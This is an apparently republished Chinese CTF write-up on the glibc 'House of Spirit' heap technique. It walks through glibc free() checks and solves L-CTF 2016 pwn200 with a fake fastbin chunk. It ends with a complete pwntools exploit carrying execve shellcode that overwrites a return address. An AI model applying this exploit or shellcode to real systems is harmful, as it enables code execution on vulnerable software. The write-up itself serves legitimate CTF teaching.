2017-01-18 15:04:11
来源：安全客 作者：ray_cp
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作者：ray_cp
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前言
终于做到了这里，一直听说什么house of lore、house of spirit什么的，之前一直不会，只是听听。到湖湘杯的时候里面有一题note，最后是用这个house of spirit解决掉的，比赛结束以后决定花时间把这个给好好的看看，也拿一道题做例子来实践实践，题是l-ctf2016的题，分析了堆的部分源码，看了几篇大牛的文章，最后pwn成功了，于是就有了这篇总结。掌握这个技巧前提是对堆的结构以及管理需要一定的了解，不懂的可以在网上找一些资料去补补。House of Spirit原理
House of Spirit（下面称为hos）算是一个组合型漏洞的利用，是变量覆盖和堆管理机制的组合利用，关键在于能够覆盖一个堆指针变量，使其指向可控的区域，只要构造好数据，释放后系统会错误的将该区域作为堆块放到相应的fast bin里面，最后再分配出来的时候，就有可能改写我们目标区域。还是像以前一样，先上一段代码给大家一个直观印象再具体解释，这段代码是shellfish的github里面的源码。#include<stdio.h> #include<stdlib.h> intmain() { printf("Thisfiledemonstratesthehouseofspiritattack.\n"); printf("Callingmalloc()oncesothatitsetsupitsmemory.\n"); malloc(1); printf("Wewillnowoverwriteapointertopointtoafake'fastbin'region.\n"); unsignedlonglong*a; unsignedlonglongfake_chunks[10]__attribute__((aligned(16))); printf("Thisregionmustcontaintwochunks.Thefirststartsat%pandthesecondat%p.\n",&fake_chunks[1],&fake_chunks[7]); printf("Thischunk.sizeofthisregionhastobe16morethantheregion(toaccomodatethechunkdata)whilestillfallingintothefastbincategory(<=128).ThePREV_INUSE(lsb)bitisignoredbyfreeforfastbin-sizedchunks,howevertheIS_MMAPPED(secondlsb)andNON_MAIN_ARENA(thirdlsb)bitscauseproblems.\n"); printf("...notethatthishastobethesizeofthenextmallocrequestroundedtotheinternalsizeusedbythemallocimplementation.E.g.onx64,0x30-0x38willallberoundedto0x40,sotheywouldworkforthemallocparameterattheend.\n"); fake_chunks[1]=0x40;//thisisthesize printf("Thechunk.sizeofthe*next*fakeregionhasbeabove2*SIZE_SZ(16onx64)butbelowav->system_mem(128kbbydefaultforthemainarena)topassthenextsizeintegritychecks.\n"); fake_chunks[9]=0x2240;//nextsize printf("Nowwewilloverwriteourpointerwiththeaddressofthefakeregioninsidethefakefirstchunk,%p.\n",&fake_chunks[1]); printf("...notethatthememoryaddressofthe*region*associatedwiththischunkmustbe16-bytealigned.\n"); a=&fake_chunks[2]; printf("Freeingtheoverwrittenpointer.\n"); free(a); printf("Nowthenextmallocwillreturntheregionofourfakechunkat%p,whichwillbe%p!\n",&fake_chunks[1],&fake_chunks[2]); printf("malloc(0x30):%p\n",malloc(0x30)); } A、hos的经典利用场景的条件如下
（1）想要控制的目标区域的前段空间与后段空间都是可控的内存区域
一般来说想要控制的目标区域多为返回地址或是一个函数指针，正常情况下，该内存区域我们输入的数据是无法控制的，想要利用hos攻击技术来改写该区域，首先需要我们可以控制那片目标区域的前面空间和后面空间，示意图如下。
（2）存在可将堆变量指针覆盖指向为可控区域，即上一步中的区域
B、利用思路
（1）伪造堆块
看了上面的两个情景，反应快的人可能明白了hos的主要意图了，那就是，在可控1及可控2构造好数据，将它伪造成一个fastbin。
（2）覆盖堆指针指向上一步伪造的堆块。
（3）释放堆块，将伪造的堆块释放入fastbin的单链表里面。
（4）申请堆块，将刚刚释放的堆块申请出来，最终使得可以往目标区域中写入数据，实现目的。
需要说明的是第一步中的伪造堆块的过程，fastbin是一个单链表结构，遵循FIFO的规则，32位系统中fastbin的大小是在16~64字节之间，64位是在32~128字节之间。释放时会进行一些检查，所以需要对伪堆块中的数据进行构造，使其顺利的释放进到fastbin里面，看堆free过程中相关的源代码。
void public_fREe(Void_t*mem) { mstatear_ptr; mchunkptrp;/*chunkcorrespondingtomem*/ [...] p=mem2chunk(mem); #ifHAVE_MMAP if(chunk_is_mmapped(p))/*首先M标志位不能被置上才能绕过。releasemmappedmemory.*/ { munmap_chunk(p); return; } #endif ar_ptr=arena_for_chunk(p); [...] _int_free(ar_ptr,mem); 首先mmap标志位不能被置上，否则会直接调用munmap_chunk函数去释放堆块。void _int_free(mstateav,Void_t*mem) { mchunkptrp;/*chunkcorrespondingtomem*/ INTERNAL_SIZE_Tsize;/*itssize*/ mfastbinptr*fb;/*associatedfastbin*/ [...] p=mem2chunk(mem); size=chunksize(p); [...] /* Ifeligible,placechunkonafastbinsoitcanbefound andusedquicklyinmalloc. */ if((unsignedlong)(size)<=(unsignedlong)(av->max_fast)/*其次，size的大小不能超过fastbin的最大值*/ #ifTRIM_FASTBINS /* IfTRIM_FASTBINSset,don'tplacechunks borderingtopintofastbins */ &&(chunk_at_offset(p,size)!=av->top) #endif ){ if(__builtin_expect(chunk_at_offset(p,size)->size<=2*SIZE_SZ,0) ||__builtin_expect(chunksize(chunk_at_offset(p,size)) >=av->system_mem,0))/*最后是下一个堆块的大小，要大于2*SIZE_ZE小于system_mem*/ { errstr="free():invalidnextsize(fast)"; gotoerrout; } [...] fb=&(av->fastbins[fastbin_index(size)]); [...] p->fd=*fb; } 其次是伪造堆块的size字段不能超过fastbin的最大值，超过的话，就不会释放到fastbin里面了。
最后是下一个堆块的大小，要大于2*SIZE_ZE小于system_mem,否则会报invalid next size的错误。
对应到伪造堆块那张示意图来说，需要在可控区域1中伪造好size字段绕过第一个和第二个检查，可控区域2则是伪造的是下一个堆块的size来绕过最后一个检查。
所以总的来说，hos的主要意思是我们想要控制的区域控制不了，但它前面和后面都可以控制，所以伪造好数据将它释放到fastbin里面，后面将该内存区域当做堆块申请出来，致使该区域被当做普通的内存使用，从而目标区域就变成了可控的了。
l-ctf2016--pwn200
hos原理就是上面讲的，下面就是具体的实践，我所知道的是l-ctf2016的pwn200和湖湘杯的note，考察的都是这个技能点。下面主要是用l-ctf2016的pwn200来讲述这题。还是先从程序功能说起。
A、程序功能
先是输入用户名，这里有个off-by-one漏洞，输入48个字符即可泄露出rbp栈的地址。
接着输入id，这里让我无语的是ida在给我反编译的时候，input_num返回的值并没有保存在某个内存区域里面，导致后面饶了很大一圈找不到可以伪造的区域绕过检查，后面在汇编窗口看到，是有保存返回值的(图里面的var38便是保存返回值的地方)，所以说IDA的反编译插件也不可全信啊。这个id对应的就是前面说的可控区域2。
最后输入money，可以看到输入的money可以覆盖到dest堆指针，这正是满足了前面说的可以覆盖堆指针的条件。同时这里保存money的区域也就是前面说的可控区域1。完成前面三个步骤后，进到循环之中。check in函数功能如下，判断全局变量ptr是否为空，是的话，输入size，malloc申请空间。
check out函数的功能是简单的调用free函数释放空间，将全局指针置0.
B、查看防护机制
首先查看开启的安全机制
可以看到，基本上什么保护都没开，可以直接在堆栈中部署shellcode，只要泄露出堆栈地址，并控制函数流执行到shellcode就可以了。
C、利用思路
先看下官方出题人写的wp（个人觉得wp写的有点点问题）。
1. 首先泄露出栈地址，然后覆盖堆指针为栈上的可控区域，我们可以精巧的构造这块区域成一个伪造的堆块，之后通过free，这个堆块即被加入到了fastbin中，然后再通过malloc，即可对这个堆块的空间进行任意写，这时只要覆盖栈上的返回地址为一个jmp rsp，再通过一个short jmp，来执行shellcode，即可获得shell
2. 另外，在构造堆块时，同时要构造好相邻的下一个堆块的头部，使得其prev_inuse == 1（在free的时候会检查）
3. （其实这个漏洞利用的过程也叫house-of-spirit）
4. 然而。事实上由于我的疏忽，可以直接覆盖指针为got表函数的地址，然后strcpy修改got表函数的地址，即可执行shellcode，sigh:(
这题有比较简单的解法，但为了说明hos，还是按照hos的步骤来具体说明。
（1）获取堆栈地址
前面说过，输入name时可以利用off-by-one泄露堆栈地址，name输入时不会使用'\x00'截断，如果输入48个字符，最终打印时会将rbp中的值打印出来。
（2）伪造堆块
伪造堆块的过程示意图如下,在money中输入的是伪堆块的size，在id里输入的是下一个堆块的size，以此绕过free释放堆块时候系统的检查。
（3）覆盖堆指针，在输入money的时候，会覆盖堆块。
（4）调用free函数将伪堆块释放到fastbin中
（5）申请堆块，将刚刚的伪堆块申请出来
（6）输入数据，即可修改目标区域，eip，使其指向shellcode。control the world~
D、最终exp
exp最终如下，里面还有部分注释。
frompwnimport* fromctypesimport* DEBUG=1 ifDEBUG: p=process('./pwn200') else: r=remote('172.16.4.93',13025) shellcode="" shellcode+="\x31\xf6\x48\xbb\x2f\x62\x69\x6e" shellcode+="\x2f\x2f\x73\x68\x56\x53\x54\x5f" shellcode+="\x6a\x3b\x58\x31\xd2\x0f\x05" defpwn(): #gdb.attach(p,"b*0x400991") #####off-by-one泄露栈地址 data='aaaaaaaa'+shellcode data=data.ljust(46,'a') data+='bb' p.send(data) p.recvuntil('bb') rbp_addr=p.recvuntil(',w')[:-3] rbp_addr=u64(rbp_addr.ljust(8,'\x00')) printhex(rbp_addr) fake_addr=rbp_addr-0x90 shellcode_addr=rbp_addr-0x48 ###输入id伪造下一个堆块的size p.recvuntil('id~~?') p.send('32'+'\n') p.recvuntil('money~') data=p64(0)*4+p64(0)+p64(0x41)####伪造堆块的size data=data.ljust(0x38,'\x00')+p64(fake_addr)####覆盖堆指针 p.send(data) p.recvuntil('choice:') p.send('2'+'\n')####释放伪堆块进入fastbin p.recvuntil('choice:') p.send('1'+'\n') p.recvuntil('long?') p.send('48\n') p.recvuntil('\n48\n')#####将伪堆块申请出来 data='a'*0x18+p64(shellcode_addr)#####将eip修改为shellcode的地址 data=data.ljust(48,'\x00') p.send(data) p.recvuntil('choice:') p.send('3\n')####退出返回时会去执行shellcode p.interactive() if__name__=='__main__': pwn() 执行结果：
小结
到这里这个hos算是讲完了，是自己的一个小总结，也希望对大家有点帮助吧。说到底，主要是在于目标区域（函数指针）不可控制，而它前面和后面的数据可以用来将这片内存伪造成一个堆块，释放从而进入到fastbin里面，最后再申请出来，从而实现控制目标区域的目的。一步一步走来，感觉做堆的题最主要的还是要把堆管理的源码多看看，搞明白了以后，其他的学起来就好搞了。后面还有很多要看要学，继续前进。
参考文章
x86 Exploitation 101: “House of Spirit” – Friendly stack overflow【CTF攻略】L-CTF 2016 官方 Writeup
MALLOC DES-MALEFICARUM
how2heap/house_of_spirit.c
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